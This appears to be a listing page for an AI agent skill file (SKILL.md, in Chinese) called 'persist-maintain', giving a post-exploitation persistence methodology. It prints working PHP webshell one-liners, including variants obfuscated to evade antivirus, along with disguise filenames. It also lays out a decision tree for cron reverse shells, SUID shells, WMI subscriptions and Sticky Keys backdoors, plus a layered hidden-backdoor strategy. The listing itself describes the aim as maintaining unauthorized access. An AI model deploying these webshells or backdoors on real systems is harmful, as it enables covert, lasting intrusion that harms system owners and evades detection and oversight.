persist-maintain

$npx mdskill add wgpsec/AboutSecurity/persist-maintain

Establish long-term access without relying on initial exploits.

  • Maintains unauthorized system access across Linux and Windows.
  • Integrates with cron, SSH keys, services, and webshells.
  • Selects methods based on OS type and available privileges.
  • Deploys hidden backdoors using obfuscated code and naming.

SKILL.md

.github/skills/persist-maintainView on GitHub ↗
---
name: persist-maintain
description: "权限持久化方法论。当已获取目标系统权限后需要维持长期访问时使用。覆盖 Linux(cron/SSH key/webshell) 和 Windows(计划任务/服务/注册表/WMI) 持久化技术,以及 Web 层面的 webshell 部署和隐蔽策略"
metadata:
  tags: "persist,persistence,持久化,webshell,backdoor,后门,cron,scheduled task,service,维持访问"
  category: "postexploit"
---

# 权限持久化方法论

持久化核心:建立**不依赖原始漏洞**的访问通道。

## ⛔ 深入参考(必读)

- 需要 Linux/Windows 各种持久化技术的具体命令 → [references/persistence-techniques.md](references/persistence-techniques.md)

---

## Phase 1: Web 层持久化

### Webshell 部署
**部署位置(按隐蔽性)**:静态资源目录 > 上传目录 > 框架目录深处 > 已有文件末尾追加

**隐蔽 Webshell**:
```php
<?php @eval($_POST['cmd']);?>                    // 一句话
<?php $a='sys'.'tem'; $a($_GET['c']);?>          // 字符串拼接免杀
<?php array_map('assert', array($_POST['cmd']));?>  // 函数回调免杀
```
**文件名伪装**:`.htaccess`, `config.bak.php`, `error_log.php`, `.user.ini`

## Phase 2: 持久化决策树

```
目标操作系统?
├─ Linux
│   ├─ 有 SSH 访问?→ SSH 公钥(最可靠)
│   ├─ 需要自动回连?→ Cron 反弹 shell
│   ├─ 需要隐蔽?→ systemd 服务 / bashrc 后门
│   └─ 快速后门?→ SUID shell
├─ Windows
│   ├─ 有管理员权限?→ WMI 事件订阅(最难检测)
│   ├─ 需要开机启动?→ 注册表 Run 键 / 计划任务
│   └─ 有 RDP 访问?→ Sticky Keys 后门
└─ Web 层(通用)→ Webshell
详细命令 → [references/persistence-techniques.md](references/persistence-techniques.md)
```

## Phase 3: 多层持久化策略

不要只用一种——建立多层后门:
1. **第一层**:Webshell(Web 层,最容易恢复)
2. **第二层**:SSH 密钥或计划任务(系统层)
3. **第三层**:服务或 WMI 订阅(深层,难以发现)

## 注意事项
- 持久化越隐蔽越好——文件名/服务名/任务名应像正常系统组件
- 避免使用明显路径(如 `/tmp/backdoor.sh`)
- 在红队评估中,记录部署了什么、在哪里

## PHP Webshell 混淆
- 变量函数:`$$var` 动态调用,避免直接出现 eval/system(隐蔽执行)
- 替代函数:eval 替代为 assert,system 替代为 passthru 等

## 隐蔽性排名
- 不要修改 index.php 等核心文件——容易发现,危险

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|